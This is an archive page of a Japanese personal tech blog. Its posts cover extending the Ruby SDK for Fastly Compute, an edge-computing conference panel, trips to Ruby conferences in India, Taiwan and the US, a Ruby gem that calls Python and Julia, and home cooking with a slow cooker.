48JIGEN Reloaded

Unofficial SDK で更に便利に Fastly Compute を使う（ために試行錯誤してる話）

2023-12-26T00:00:00+09:00

この記事は Fastly Compute (旧 Compute@Edge) 一人アドベントカレンダー 25 日目の記事です。最終日の今回は自分の個人プロジェクトとして、 Fastly Compute の Unofficial SDK のうち Ruby SDK の実装を一部追加している話をします。

この PR にあるような形で未実装となっている C 拡張のコードを少しずつ実装しています。去年 katei さんが実装して公開されたデモで Ruby が Fastly Compute (旧 Compute@Edge)上で動くという最も難しい部分を超えてもらっているので、不足している C 拡張部分を実装して便利にエッジ環境での開発ができたらというナイーブなモチベーションで進めています。

進め方としては、Fastly Compute が Wasm ABI で提供する Hostcall の API の振る舞いについてドキュメントは特に用意されていないので、他の言語での SDK の実装を頼りにトライアンドエラーで実装を進めています。ただ実際に進めてみると、このトライアンドエラーの試行のために毎回 Ruby をソースビルドするのでデバッグに時間がかかりがち（20分前後/回）だったり、そもそもどの gem が WASI 環境で使えるか確認しながら手探りで作業を進める感じもあったりして中々ワイルドな体験をしています。

さて今回マージして取り込んでもらった前述の PR によって、以下のようなコードが Fastly Compute 上で動くようになりました。これまではバックエンドのサーバと通信するためのメソッドが未実装になっていたので、今回は Request をプロキシする（いわゆる普通のリバプロ的な）動作ができるように実装してごく一部のパターンのみ動くようにした感じです。

上記はこちらのデモサイトで動作を確認できます。見事に CSS があたっていないことからも分かっていただけるかと思いますが、この状態だと request の URI/path が毎回固定なので、どんなリクエストに対しても一律に https://www.ruby-lang.org/en/ の内容を返す挙動となっています。これを解消するために、次に request された path に応じてコンテンツを返すために別の C 拡張実装を進める、といった具合に少しずつ実装を進めています。

上記サンプルコードは kateinoigakukun/ruby-compute-runtime の README の手順で環境構築して動かして試せますので、興味がある方は試してみてください。Viceroy という Wasmtime をランタイムとした Fastly Compute 環境のエミュレーションツールを使うことで Fastly のアカウント等を作成せずともローカル環境っでビルドして試すことが可能です。11 日目のアドベントカレンダーで紹介した wizer が Ruby SDK でも使われているところなどは見どころの一つで、同じスクリプト言語として JS SDK と比較した時の最終的な wasm パッケージサイズや実行速度の違いなどを比較してみるなどするのも面白いかもしれません。

次世代 Web カンファレンスで Edge Computing の話をしてきた

2023-12-21T00:00:00+09:00

いろいろな状況的な理由からこのブログを更新せずに早 6 年くらい経っていた。そんな折に次世代 Web カンファレンスで少し Edge Computing の話をさせてもらう機会を頂いて、後日の感想を書きたい機運が生まれたので書いてみようと思う。この記事は Fastly Compute (旧 Compute@Edge) 一人アドベントカレンダー 18 日目の記事です。

Who are you?

Fastly に半年くらい前に入社して Fastly Compute (旧 Compute@Edge) の導入のための技術検証や構築の支援などをやってる人。正式な役職名は Senior Serverless Strategist。ただこれだと何をやるロールか分かりづらいので簡便のためにスペシャリストエンジニアですと名乗ってることが多い。

Got a new chapter started this week pic.twitter.com/499F6WMSuL
— 𝕂𝕒𝕪 (Kéi Sawada) (@remore) June 29, 2023

登壇までの経緯

ある日 DM で Edge Computing セッションオーナーの @kt3k さんから登壇してみませんかと誘って頂いて、参加することになった。会の開催趣旨など聞いて賛同できる部分が多くて、当日のディスカッションを楽しみにしていた。当日までに、登壇者の間でのテーマ設定やアジェンダ作りなどはあえて行わない形で段取りがされていたので、自分のできる準備として話したいテーマやポイントをなんとなく頭に入れておくくらいのことだけ当日までに済ませてカンファレンスに参加した。

あと、ある方面の方々に繋いで頂いてとある懇親会（からの閉店間際の中華含む）で @Jxck_ さんと事前にお話しすることができたのもありがたかった。Edge Computing のセッション枠を用意した経緯とかも聞けたし、普段 h2o 使ってる話とか聞けたのもシンプルに興味深かった（時間が取れれば自分でもやってみたい）。あと完全に余談だけどもし今後いつか機会があったら @Jxck_ さんからみた Edge Computing がどうなのか、みたいところも話せたら面白いんじゃないかなとも思ったりしている。

当日話してみてどうだったか

テーマ設定からして次世代感があって、昔話や思い出話の類が入る余地がなかったのでトピックス面というか、その辺は安心して話すことができた。後半少しだけ話が出た portability の話はもう少ししたかったけど話きれなかった。Docker+Wasm で WebAssembly のサポートが強化されたり、Component Model で作ったモジュールの再利用性を高められる可能性とか、これからやってくるであろう変化をどう捉えていくかというところは話しきれなかったところの一つ。

外せない各社の Node.js 互換性への取り組みの話も触れられたのはよかった。 @kt3k さんが事前にいろいろ準備してくれて話をいろいろと振ってくれたお陰で、（途中不定期にとあるフレームワークの宣伝が入りつつ）満遍なく各ベンダーの話が出揃って聞けたのは個人的にも貴重な機会だった。全体的な話の進み方として、何か界隈の問題点からスタートするというよりも世間話的というか、各サービスの状況がどうで仕様がどうなっている、というあたりを前半で話していったと記憶しているんだけど、進め方がとてもよかったと思っていて、各サービスで結構色んな差とか違いがあって登壇者の間でも情報の非対称性が割とある状態でのスタートだったので、近況共有的な部分が手厚めにできたのはすごくよかったと思う。（その分、個別の問題や技術課題に触れられる時間は結果的に少なめでもあったかもしれない）

エッジでの開発の DX が良い話が出たのも大筋で同感できる部分だった。僕からは他にリソース制限の話とか、ストレージ周りの特に Write の要件が厳しい時の対処方法とか、話してみたいポイントはいくつかあったけど時間切れで終わった。

自分の話の補足

JS SDK の SpiderMonkey の話はアドベントカレンダー 11 日目の記事に関係する内容を少し書いてます
polyfill.io のメンテナの Jake Champion の話が出たので、彼が出演してる今年の podcast (Syntax.fm) のリンクも貼っておきます。WebAssembly のランタイム周りや WASI / Winter CG, Hono あたりの話とか、終盤 41:39〜あたりで wizer の話も出てきて個人的には面白く聞いてました。

"エッジ"コンピューティング

その他思ったこと。エッジコンピューティング、言葉がそもそも難しい、というのは前から思っててどうすれば、という気持ち。次世代 Web カンファレンスの定義だと、登壇者の顔ぶれ的に多分 CDN（あるいはエッジネットワーク）の上で動くコンピューティング基盤のことを指していたと思う。一方で世の中的には同じ言葉が別の意味で使われていて、例えば IoT の分野だと IoT 端末上での計算処理のことをエッジコンピューティングと呼んでいたりする。それにもっと広く見るとブラウザの ServiceWorker こそが真のエッジ（端っこ）でのコンピューティングと見立てる世界線もあると思うし、ここら辺の言葉が散らかりがちなところは機会があれば話してみたい。

と、買いてたら @kt3k さんからも似た話が。何かいい言葉出てきてほしいですね。

Cloudflare Workers 等を指して「エッジコンピューティング」というのは、言葉の狭い意味で使いすぎているように思えてきたので、「クラウドエッジコンピューティング」みたいな用語を使った方が良い気がしてきた
— Yoshiya Hinosawa (@kt3k) December 20, 2023

その他

その他にも色々と思ったことはあって、設定言語の延長線で WASI が使われてるその先の話とか、あるいはオリジンレスなエッジサーバレス実行基盤の議論とか色々あるけど、ブログに書くにはアイデア以前の段階なのと、何回か書いてみたけどどうしても立場上の話も混じってしまうので、今回はこの辺で筆をおこうと思います。

最後に

こういう雑記は大体うまくまとまらないので、最近ブログをおろそかにしていたのもあって当初ブログ書く気はゼロだったんだけど、一人アドベントカレンダーをちょうど開催していたことと、何よりも @Jxck_ さんと、カンファレンス運営してくださった皆さんに素晴らしい会をホストしてくださった感謝の気持ちが大きくて、まとまらないのを承知で一旦書いて放流してみようと思います。埃のかぶったこのブログに 6 年近くぶりに記事を書かねばと思ったくらいには参加できてよかったと思えるカンファレンスでした。カンファレンス運営のコストも上がってる中で無事開催しているの素晴らしすぎるし運営皆さんに感謝しかない。

edge_computing の話を Bar で聞いてくださった皆さんもありがとうございました。久しぶりにお会いできた方々もいて嬉しかったです。会場にいらっしゃっていてお話できなかった方々も、また何かの機会でお話できたら嬉しいです。

有給消化中にRubyConf Indiaに参加してきました

2018-02-19T00:00:00+09:00

勤務先のリクルートホールディングス社を2月末で退職することになりました。このおかげで発生した次の仕事を始めるまでの有給消化期間の使い途として、家族旅行の予定をいくつか組んだり溜まっていた書類の整理や確定申告などの雑務を行うことにしましたが、予定表を見るとまだ工夫すれば1週間くらいの空きを作ることができそうな状況でした。

それで何をしようかと年末から考えていたところに、RubyConf IndiaのCFPが通過したという知らせが1月中旬くらいに届いたので、この機会にカンファレンスを訪れつつインドを1週間くらい旅してくる計画がすぐに頭に浮かびました。妻にこれを相談してみると、インド行きにあわせて妻が子供を連れて妻の実家に帰省することで対応が可能という大変心強い回答と支援を得ることができたので、CFP通過の知らせが届いてから2週間くらいで飛行機・宿・訪問先の手配など全て済ませて全8日間の計画でインドを旅してくることになりました。

このブログでは、この旅の中でTech関係の部分の記録のみ抜き出した内容を書き出します。ちなみに完全に自己満ですが、旅の中でもっとも訪れて良かったと感じたのはジャイプルのNahargarh Fortの夕暮れとバラナシの早朝のガンジス川の散歩でした。

RubyConf India

バンガロールで開催された今年のRubyConf Indiaは今年で第9回を迎える国際Ruby Conferenceで、今回はホテルの1ホールを2日間貸し切る形で開催されました。どうでもいいですが会場BGMはKaya ProjectのWalking Throughがずっと流れていて居心地良い感じの会場運営がされていました。会場で色んな方から話を聞いた限りでは、参加者の大多数がインド人またはインド在住の方な様子のカンファレンスで、2日間の日程の間、結局日本人には一人も会うことはありませんでした。

当日のトークの内容は多分ざっくりは公式サイトのプログラム一覧見てもらうのが一番正確かつ情報量多いかなと思うんですが、個人的には2日朝の@_svs_のKeynoteがとても良かったです（ToDo: 動画が公開されたらリンクを張る）。カンファレンスに参加できたのが久しぶりだったせいも多分にありそうですが、LTもバリエーション豊富で面白かったです。mrubyとenzi、BioRuby、SciRuby（@Shekharrajakによるdaru-viewの紹介）のあたりが特に興味を惹かれました。

TwitterのTLを眺めていると#rubyfriendsタグがあまり流れてこないことに気づき、参加者同士で話をしているとそもそもタグの存在自体を知らないという方も一定数いらっしゃったみたいなので、当日Talkの前座で#rubyfriendsタグについて紹介をしつつ、アイスブレイク代わりに会場のみなさんとSelfieを撮れたのは良い思い出です。（自撮り自体を普段あまりしないため、会場全体を収めることには失敗しました）

#rubyfriends #RubyConfIndia #RCI18 pic.twitter.com/pJ0dkMabAq
— Kei Sawada (@remore) 2018年2月10日

今回話してきたこと

"Prototyping Kubernetes CRI(Container Runtime Interface) With Ruby and gRPC"と題してKubernetes周りの最近の近況や内部構造の一部に少しだけ触れつつ、Rubyを使ってコンテナ周りの世界で何ができるのか探索してみる、といったような趣旨のお話をしてきました。TalkのDescription、スライド資料、デモ用に作成したリポジトリについてはそれぞれ然るべき場所に上がっています。

去年の秋くらいから少しずつKubernetes周りを触り始めていて、これを総括するマイルストーンとしてちょうど良いと考えて勢いで1年以上ぶりに提出したCFPがAcceptされたのが今回のTalkでした。github.com/kubernetesやgithub.com/kubernetes-incubatorを見ると分かる通りKubernetesの主要なツール群はGoで書かれているケースが圧倒的に多いという状況において、急にRubyのカンファレンスでKubernetesの話をし始めてコイツ頭大丈夫か・・と思われてもおかしくない内容でもあったので、このTalkの後にインドのRubyistからは例えばどういう反応が得られるか？というあたりは地味に興味のあった点でした。結果としてはTalkの最中の質疑応答やTalkの後のカジュアルな会話で大変多くの方に話しかけて頂き、少なくとも直接お話できた方に関しては興味深く話を聞けたという方が多かったようなので一安心しました。

Hackerspace Mumbai

Hackerspace Mumbaiの人から2月のmeetupでRubyに関係するmeetupを開きたいんだけどと相談を受けた話が面白かったのでその部分についても記録を残しておこう思います。声をかけてもらったのはインドに到着した初日だったのですが、このHackerspace Mumbaiの中の人と会話をしたところ、今回僕が元々ムンバイを訪れる予定だった日程にあわせて次のMeetupを開催するよう調整するのでぜひTalkしていってよ、とお誘いを頂いたので、中々ない機会だったのでお邪魔してみることにしました。

会場はMicrosoft Mumbaiのオフィスでしたが、最近できたばかりだと思うんですが中はとてもキレイでした。僕が乗る予定だった飛行機が2時間以上遅延した関係で当日会場への到着がかなり遅れてしまい、大半の人が帰ってしまった後ではありましたが、ありがたいことに少数ですが有志の方がまだ残っていてくださり、残った方々の前でRubyConfIndiaでのTalkと同じお話をさせてもらいました。残った方々が少数だった分RubyConfIndia以上に参加者の方々のバックグラウンドや実際に抱えている課題などの少し込み入った話まで含めて会話することができたのが良かったです。

Feb'18 #mumtechup : @remore giving an insightful talk on #ruby as well about @kubernetesio & #CRI-O using @grpcio and #ruby pic.twitter.com/40X76kXqK1
— Hackerspace Mumbai (@hackmum) 2018年2月18日

Openなコミュニティでのつながり

最終的に現職にはちょうど7年間勤めた計算になるのですが、振り返ると7年前はRubyを1行も書いたことがない状態だったし、そんな自分が7年後にカンファレンスに参加して現地コミュニティでTalkなどしているということを考えると、面白い謎な道に迷い込んだなあと思います。家でこの7年間にもらったカンファレンスTシャツやノベルティなど整理していたら凄い思い出と情報の洪水みたいな感じになってしまい収拾がつかなくなったのでその辺は割愛しますが、この面白い謎な道が出来上がったのは、所属や立場など問わず澤田と関係してくださっている全ての人のおかげであり、そこで関係させてもらった全ての人にこの場を借りてお礼を伝えたいと思います。

例えば今回の面白い謎な展開の一つであるHackerspace Mumbaiに立ち寄ったことも、オープンソースやOpenなコミュニティという要素があったから発生したものでした。Hackerspace Mumbaiのオーガナイザーの一人であるAugustineからは、「日本からももっとオープンソース界隈の人にムンバイに来てほしいと思ってるので、お知り合いの方でインドに来る人がいればぜひHackerspace Mumbaiに立ち寄っていってください。オープンソースを志す方のお立ち寄りをいつでも歓迎します」（意訳）とメッセージをもらっています。個人や組織にとってのOpenであることの意義や重要性は日に日に高まっているように感じていますが、これからもOpenであろうとすることに対する矜持を持ち続けていきたいと感じさせる出来事でした。

話がまとまらないのでこの辺で筆を置くつもりですが、最後に蛇足を1つだけ。RubyConfIndiaオーガナイザーの@gautamregeの話によると今年は合計で82件のCFP応募があったとのこと。この中から10件のTalkが採択されたので、通過率は約8分の1の計算になります。どのカンファレンスもそうであるようにRubyConfIndiaもまた、その場でしか体験できないコミュニティの体験に溢れていました。渡印の際にeVisaを取得する必要がありその点が若干手間はありますが、2017年4月からは一定の条件を満たした日本国籍の方は到着時にその場でビザ発行もされる模様で移動に関する障壁は下がっている状態です。長期にお休みが取れそうな方は、インドの特にムンバイとバンガロールあたりも訪問先に加えてみても面白いかもしれないと思いましたので、最後に記しておきます。（RubyConfIndiaよりも採択率が低くなってしまうかもしれませんが、国内に居ながらにしてレベルの高いTalkと出会うことができるRubyKaigiのCFP提出は今月末までのようです。こちらももちろんオススメなことは言うまでもありません）

RubyConf Taiwanが良い感じだった

2016-12-04T00:00:00+09:00

この記事はRecruit Engineers Advent Calendar 2016の4日目の記事です。

12月2日〜3日の2日間で台湾で開催されたRubyConf Taiwan 2016にSpeakerとして参加してきました。初参加だったのだけど想像してた以上に良いカンファレンスで、周囲のRubyistが何人も毎年台湾に上陸している意味が少し分かったような気がします。良かった事を僕の観点でざっくりまとめていきます。

こじんまりしてる割には濃い人がごろごろいる

RubyConf Taiwanに今回初めて参加したので傾向は分からないのですが、2016について言うとRubyKaigiやRubyConfでTalkをしてるようなSpekaerが多くてTalkは普通に面白かったです。内容もTechnicalなTalkが多い印象で、これならKaigi慣れしてる日本のRubyistが参加しても（RubyConfの雰囲気とかとは違ってそんなにびっくりせずに）きっと楽しめそう。なお、今年の参加者数は初日のRyudoさんのアナウンスによると19カ国から278人が参加してるとのことで、International Conferenceなのに割とこじんまりとしてるのも特徴的でしょうか。人数が多すぎないカンファレンス、懇親会の時間とかがそこまで忙しくなく過ごせて、たのしくRubyの話ができる良さがあるのでこれはこれで良いなと感じます。

英語力を鍛えるのに最適かも

これも例年どうなのか傾向は分かりませんが、今年のRubyConf TaiwanではSpeakerが中国語で話すセッションでは中→英の同時通訳が提供される仕様になっており、英語が使えればコンテンツを十分楽しめる設計になってました。やらないと生きていけない環境に身を置かないと学習が進まない僕のような人にとっては、こういう環境は良いなーと思います。ちなみに写真は初日のアンカンファレンスでのLTの様子なんだけど、LTでは同時通訳が提供されなかったので、見ての通り中国語と英語が混ざったパワーコンテンツを楽しむことができます。中国語まで学習するの。。と半分白目になるけど、英語部分だけ頑張って理解しようとすれば生きていけます。

あと、これはSpeakerという立場での話で個人の感想なんですが、RubyKaigiとかRubyConfでTalkをするよりも圧倒的にRubyConf TaiwanでTalkをする方が緊張しなかったです。2年前にRubyKaigi 2014でTalkをした時は日本人＋英語ネイティブという聴衆からの霊圧が高くて英語がうまく伝わってるか超不安に駆られて嫌な汗を沢山かいてきたり（それでも英語で話した方が内容を的確に伝えられたと思うので英語での発表したこと自体は後悔してないけど）、先月RubyConfでLTしてきた時も英語が母国語の人を相手にしてきたのでそれなりに焦りながら話してきたのですが、RubyConf Taiwanはなぜだか緊張感をそんなに感じずにTalkすることができました。多分いくつかの要因があって、お互い母国語じゃない言語で話しているという意識だとか、会場が学校の施設だったので雰囲気が親しみやすくて良かったとかあったと思いますが、とにかく英語でのTalkをするにあたって障壁が少ない感じがしました。

なお、台湾という国全体についての英語力の感想としては、街中でも英語が通じないシーンもそこそこあるという印象なので、カンファレンスの外で英語力を鍛えられるという感じではないことには注意が必要です（タクシーは6回くらい乗車したけど7割くらいの確率で英語ダメだった）。

コスパがとても良い

移動交通費が安かったです。下手するとRubyKaigiのために新幹線で京都へ行くより安くて、僕の場合はTigerAirを使って片道1万円で行けたし、往復1.3万円という人もいました。今回会社の出張として行かせてもらったものの、これなら個人でも出せる範囲だし敷居が下がっててとても良いですね。飛行機だけじゃなくて現地タクシーや電車も日本より安く、Uberも使えたし移動は全く困らなかったです。

それから、食べ物がおいしくて生活の満足度が高いのはさすがアジアですね感。台北の街中ですらレストランの値段は十分安価だし（写真の牛肉麺は日本円で400円くらいしたけど、探せば安いところはいくらでもある）、街を歩いてると日本語もよく見かけるから探したり選ぶのも楽しい。中国語だったとしても漢字から意味を類推することもできて便利に暮らせるあたりもコスパを底上げしてくれる。

なお、治安については僕の2日間弱の滞在期間中は問題なかったです。これは住んでみないと分からないけど、台北の街中で少し遅めの時間だけど現地学生が歩いてたりとかしており、治安そんなに悪くなさそうには見えたけどどうなんですかね。

ちなみに

Talkはこういう話をしました。Rubyからword2vecとか使いたいと思った時に考えたことや試したことを話してきた感じです。話してる最中に一個英語が出てこなくてTalkを途中一時停止して会場の人に日本語で助けを求める事案があったのだけど、モリスさんにerror（誤差）という単語を教えて頂いて（大感謝）かろうじてTalkをすることができた感じでした。

おわりに

台湾のRubyistの中にはRubyKaigiやRubyWorldConferenceによく来てる人達も多くいて、Keep in touchしやすいコミュニティが形成されてるのもとても良いと思います。日本のRuby関係のイベントに一通り出て、次何出ようかなと考えているRubyistがもしいたら、僕からは来年のRubyConf Taiwanをオススメしたいと思いました。

RubyConf 2016に参加しました

2016-11-14T00:00:00+09:00

11月10日〜12日の3日間でオハイオ州シンシナティで開催されていたRubyConf 2016に参加してきた日記の続きです。0日目の様子はこちら。

RubyConfコミュニティ

今回の参加者は700名弱とのこと。US国内からの参加者が大半という感じだった。僕が会って話をしたSpeaker含めた20人くらいの人を思い出すと、San FranciscoやSeattle, DCから来てた人が割合的には多かった。シカゴから来た人など地元の人もちらほら。MatzのKeynoteで"RINSWAN"(Ruby Is Nice So We Are Nice)という言葉が出てきていたのだけど、RubyConfコミュニティも場の雰囲気は居心地が良かった。お互いを尊重する空気を感じられた。直前にあった選挙の影響が気になってたけど、大きな摩擦とかは（僕から見える非常に狭い範囲では）特に見えなかったのは良かった。

ランチ

ランチのホールにテーブルが沢山用意されており、参加者が適当に着席して食べるスタイルだったので、3日間でいろんな参加者の人と会話することができた。SeattleのGoogleに勤務してるエンジニアやSan FranciscoのGrouponのエンジニアだとか、DCでコンサルタントやってる人などいろんな人が来ていた。今日一番良かったトークはとか、普段なにしてるとか日本はどんな感じなのとか話すなどしていた。RubyKaigiの話題になって@kakutaniとKaigiについて紹介したり、Rubyの中身に興味があるという人にRHGを薦めてみるなどもした。

Talks

Talkの内容については、意外にもTechnicalにレベルの高いTalkの数は限定的だった。Rubyを使い始めたばかりの人も一定以上の数いて、そういう人向けのセッションがあったり、"NYCのビル建設プロジェクトの失敗例に学ぶ、良い振り返りのコツ"（意訳）とか、"見積・抽象化・認知とその精度"（超意訳）みたいなテーマの話もあったりもしていて、（おそらくは）考えられて意図的に広い基準でTalkが選ばれているようだった。というか、なんなら比較的若手な人がKeynoteをバンバンやってて、それも結構驚いた。コミュニティに一定以上の新規参加者が登場していて、新陳代謝が発生しやすくなってる印象を受けた。

とはいえレベルが高いトークもあって、他のカンファレンスではKeynoteやるような人が普通のTalkセッションしてたりもするのは面白かった。詳しくは会社のブログの方にまとめようと思うけど、@tendorloveのGCの話や@indirectのOSS開発に参加する方法についての話、@schneemsのsprocketsを速くした話などが面白かった。

Lightning Talk

結局backup/waitlisted speakerとして参加したものの登壇する必要がなさそうな気配がしてきていたので、2日目の午前中にLightning Talkに応募できると聞いて応募してLTをしてきた。LTも前半の4枠はScholarsという枠が用意されていて、超若手の人が話していて盛り上がっていた。LTもTalkと同じでいろんな人が話をしていて、Railsチュートリアルの作者の人もLTしてたりしてバリエーションが豊富で楽しんだ。僕のターンでは楽しく話をしてきたものの、英語が思ってた以上に出てこなくて焦りながら話していた。トーク終わった後で何人かの人がGreat Talkとか話しかけてくれたり、Seattle.rbのRyan Davisが何のパーサ使ってるのとか話してくれたりしたので、ある程度は伝わってたような状態を確認ができて最終的には安堵した。

RubyConf 2017の開催地はニューオーリンズ

3日目の終わりに来年のRubyConfの開催地がニューオーリンズと発表されていた。今回の感想をお寄せ下さいというアンケートがあったのだけど、そこでは2018の開催地どこが良いと思うかという項目もあり、参加者の声を聞きながら全国各地でやっていくスタイル面白いなーとも思った。

RubyConf、英語が苦ではなくかつTechnicalなトークだけを聞きたいわけでもないRubyistであれば誰でも楽しめるカンファレンスだったので、興味のある人は会社の補助やRubyAssociationの助成などの機会も利用しながら参加してみるとよいと思う。

RubyConf 2016に参加しています

2016-11-09T00:00:00+09:00

11月10日〜12日の3日間でオハイオ州シンシナティで開催されていたRubyConf 2016に参加しているので、その日記のようなものです。今回は会社に渡航費をスポンサーしてもらって来ているため、トークの内容とかの技術的なこととかは後日会社のブログに投稿して、こちらには生活の記録を書きます。

11月9日：大統領選開票、Speaker Dinner

羽田→シカゴ→シンシナティという経路で向かった。合計13時間くらいの飛行時間中、機内では主にスライド作りをして過ごしていた。夏に出したCFPが採択はされなかったのだけどbackup/waitlisted speakerとして登録されていたので、万が一Speakerとして依頼が来た場合に備えるためにある程度作っておいた。暇つぶしにシン・ゴジラも見たけど大変良かった。SE含めてBGMも良かったしあれは劇場で観るとさぞ楽しかろう。

シカゴに着いてネットを見てトランプが勝ったことを知った。移動スケジュールがほぼ一緒だった@mrknと大統領選やApple SIMの世間話などをしてターミナル移動していた。SFOもそうだったんだけど、ORDでも電車でターミナル間の移動ができて便利。

というかORD、期待してなかったけど大きめの国際空港で歩いてて楽しい。特にTerminal1でConcourse B->Cに向かう時の通路が写真のような感じでフォトジェニックでテンションが上がった。乗り継ぎの空き時間で食べたマックのMorning Mealが、日本で食べる朝マックと内容そこまで変わらないのに値段だけ5.8USDもかかって3倍くらいした。安定の食のコスパの悪さ、これがUSクオリティ。

シンシナティ(CVG)に着いてUberでホテルまで移動した。恐ろしくのどかな土地で良い。Uberの運ちゃんと選挙について話して、トランプのことを彼は変わり者でdifferentだ、議会が彼をうまく止めてくれることを願うみたいなことを言ってた。ホテル着いてランチ食べようと思ったけど探す気力が足りてなくて、近くのWalgreensでハリボーとナッツを買って昼飯とした。Walgreensの店員さんの様子がSFのそれとは大分違うような。商品探してて困ってたら声かけてくれるし、プラスチック袋は2重にして包んでくれるし、僕の知ってるSFの薬局とは様子が違っていて戸惑う。。シンシナティが良い街なんだろうか。

Dear #rubyconf attendees and speakers: _whatever_ happens tomorrow, it’s likely that some will be upset about the outcome. Practice empathy.
— Ernie Miller (@erniemiller) 2016年11月7日

#rubyconfタグで、大統領選関係のツイートがちらほら目についた。No one knows what's going to happenという感じなんだが、practice empathyするぞという意気込みだけは得た。

Speaker Dinner、前半は立席でMatzや笹田さん国分さんデカ外人さんとかと談笑した。後半は着席して4人くらいのSpeakerと話をしたけどNiceな人たちだった。Techの話になった時だけある程度概要分かるけど、それ以外の会話は語彙が追いつかず全く会話には入れないのは予想通りの展開。

最後の方で音楽談話になって、ロックマン2やコントラの音楽を演奏するバンドがアメリカにあるって聞いたのが個人的には胸アツだった。Bit Brigadeというバンド名だそうで、庶民的なアイデアをネタで終わらせないで一定以上に上手いプレイヤーがちゃんと演奏しててエラいなという尊敬の気持ち。著作権処理されてるかとか要らない心配もしてしまうけど、演奏は原作の再現度が高くて作業のBGMにできそう。

一通り話終わってホテルに戻って、明日のスケジュールをプロフィールやGitHubアカウントを眺めたりして予習をいくらかして長い一日終わり。

Rubyからdoc2vecやscikit-learnを扱う

2016-10-05T00:00:00+09:00

RubyからPythonやJuliaのパッケージを呼び出せるvirtual_moduleっていうgemを最近作っています。下記の例では、いくつかのコマンドのmanpageをドキュメントとして読み込むところまでをRubyで書いて、doc2vecの処理にかける部分はPythonを呼び出してgensimに任せるということをやっています。

個人的には文字列処理や汎用的なプログラミングをRubyで済ませられるととてもラクで助かるので、このvirtual_moduleに限らずこのような仕組みが普及するといいなと思っています。

virtual_moduleはPythonだけではなくJuliaも呼び出すことができます。Juliaを呼ぶときの例はこんな感じです。下記ではK-meansクラスタリングを呼び出しています（下記コードはClustering.jlの公式ドキュメントから移植したもの).

Rubyで大規模なループ処理を書くとループ数の増加に伴って実行時間が飛躍的に伸びてつらい経験をしたので、RubyからJuliaを動かせるように作っていたのがVirtualModuleの開発の最大の目的なので、このJuliaで動かす部分はもう少し便利にできないか考えています。（現在はmsgpackでデフォルトで変換可能な型しか相互変換できないため、Juliaの特徴の一つである多次元配列や第一級オブジェクトであるFunctionを扱いづらい状態）

ちなみに、scikit-learnも試しに動かしてみました。交差検定も一応動きます。

sklearnが動くところまでは嬉しいのですが、メソッド呼び出しの時に :_ シンボルを渡さないといけないところが見苦しいところです。Rubyではカッコなしでメソッド呼び出しをできますが、呼び出されたメソッド側でカッコが省略されて呼び出されたかどうかを判断する方法がない（少なくとも僕は知らない）ので、引数を取らないメソッド呼び出しの時にそれがメソッド呼び出しなのか関数であれば関数オブジェクト自体を呼び出してるのかという違いを明示的に記述する羽目になっているというのが、シンボルを渡している理由です。

もう少し詳細なVirtualModuleの説明をQiitaの方にも書いてみたので興味がある人はそちらもどうぞ。

桃とマンゴーの冷製パスタを作った

2016-08-03T00:00:00+09:00

週末に桃とマンゴーの冷製パスタを作った。レシピの内容をベースに、にんにくと塩の量を2倍使って、トマトを追加で入れたところかなりおいしく仕上がった。2年前にクックパッドで見つけたレシピ使った時は思ってた味にならなく悔しい思いをしたのだけど、今回はリベンジを果たせた気がする。前回作った時はフルーツを加えて塩やにんにくを抑えめにしていたのだけど、それだとあっさりした甘いパスタサラダやデザートっぽい料理になってしまって、食事のメインで出すとちょっと拍子抜けしてしまうような感じの味になってしまっていたのが失敗だったと振り返っていて、今回は塩とにんにくを強化して食事感を強く打ち出せるか試したら成功したという感じ。にんにくとフルーツの相性が良いのが不思議な発見だった。

ついでにとうもろこしの冷製スープもこのレシピで作ったけどこれも美味しかった。とうもろこしの分量をレシピよりも少し多めに用意したけど、水分が足りない感じもせず味はちゃんとまとまった。どちらもまた作りたいのでメモ。

スロークッカーを買って2週間が経った

2016-04-10T00:00:00+09:00

スロークッカーを買いました。この2週間で4品（ぶり大根、キャベツと鶏肉のトマト煮込み、カレーライス、牛すじとにんにくの味噌シチュー）を作ったけど大体簡単でかつおいしく作れた。

こんな感じで材料を切って調味料加えれば仕込みが終わる簡単さが素晴らしい。写真はこの週末に作った味噌シチューの様子。料理は好きだが作る時間が取れない社会人にピッタリですねこれ。今年のベストバイになりそう。

出来上がりの写真。煮込み5時間で、ネギがほぼ溶けてスジがいい感じの柔らかさに。煮込み料理、時間がかかるのでこれまで挑戦してこなかったんだけどスロークッカーの登場によってレパートリーが拡大の兆しを見せてる。

スロークッカーのいいところのまとめ：

調理は基本的に「材料を切って」「調味料・煮汁を注ぐ」だけなので、調理時間が短くて済む。平均20〜30分
手順が簡単な分、出来上がりの味もばらつきが少なくおいしく作れる
まな板と包丁だけで調理が完結するから、洗い物が減って後片付けの時間短縮にもつながる
コンロを占有しないので、マルチタスク処理（コンロを使った他の料理とか）も余裕
一回で5~6人前くらいの分量は余裕で作れるので、ちょっとの手間で長くおいしい料理を楽しめる
スロークッカーは定番のモデルでamazonで4500円くらいくらいの価格で手に入るので、導入の敷居が低い

似たようなことは圧力鍋でもできるという話もあるけど、圧力鍋は加圧にコンロを必要とするのに対してスロークッカーが必要なのは電気のみであり、コンロの数が少ない環境でも使えるから扱いやすい。それにコンロが多い環境であってもコンロが埋まってると鍋のスワッピングが発生して大変だったりするが、電気調理器ならそういう大変さがなくて便利。

炊飯ジャーで同じようなことをやってる人を見たこともあるけど、スロークッカー用に書かれてる世界中の様々なレシピも使えないし、そもそも炊飯用に設計された製品のUIで一般調理をするというUXがつらい感じなので向かない人も多いはず。あと煮込み料理に炊飯器を使ってしまうと肝心の炊きたてのご飯が食べられない問題があるので、僕の場合はこの選択肢は初めからなかった。

スロークッカーの難点は調理に時間がかかるところで、大体数時間から8時間くらいの煮込み時間が必要。その間に別のタスクをこなせば良いので僕は気にならないが、それがつらいという人はコンロで直火で短時間で終わる調理やレンジを使った料理が向いてそう。それから、夏場は煮込み料理の足が早そうなので冷蔵戦略を追加で考えないといけない。

スロークッカーの世間的な評価はこのページとかが参考になる。Lifehackerとか見るに海外では一つの定番家電になってるぽいし日本でももっと流行ったらいいのに（レシピがもっと増えたら嬉しい）。試すレシピが足りなくなってきたら、普通の煮込み料理のレシピを持ってきて煮込み時間をn倍して読み替えながら使えばレシピ少ない問題も克服できそうだし、僕の煮込み料理人生が始まった感じがする（n倍の部分はこんな比較表もあるようなので参考にできそう）

IVS CTO Night & Day 2015 Winter powered by AWSに参加してきました

2015-12-25T00:00:00+09:00

2週間ほど前になりますが、先日京都で開催されたIVS CTO Night & Day 2015 Winter powered by AWSに株式会社ニジボックスの開発室室長として参加してきました。

